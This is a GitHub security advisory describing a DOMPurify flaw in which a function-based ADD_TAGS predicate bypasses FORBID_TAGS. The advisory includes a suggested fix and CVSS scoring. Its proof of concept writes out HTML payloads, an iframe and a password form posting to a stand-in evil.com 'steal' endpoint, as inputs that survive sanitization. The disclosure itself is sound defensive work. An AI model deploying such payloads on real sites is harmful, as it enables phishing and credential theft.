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DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Moderate severity GitHub Reviewed Published Apr 20, 2026 in cure53/DOMPurify • Updated Apr 27, 2026

Package

npm dompurify (npm)

Affected versions

< 3.4.0

Patched versions

3.4.0

Description

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

References

@cure53 cure53 published to cure53/DOMPurify Apr 20, 2026
Published to the GitHub Advisory Database Apr 22, 2026
Reviewed Apr 22, 2026
Published by the National Vulnerability Database Apr 23, 2026
Last updated Apr 27, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Permissive List of Allowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. Learn more on MITRE.

CVE ID

CVE-2026-41240

GHSA ID

GHSA-h7mw-gpvr-xq4m

Source code

Credits

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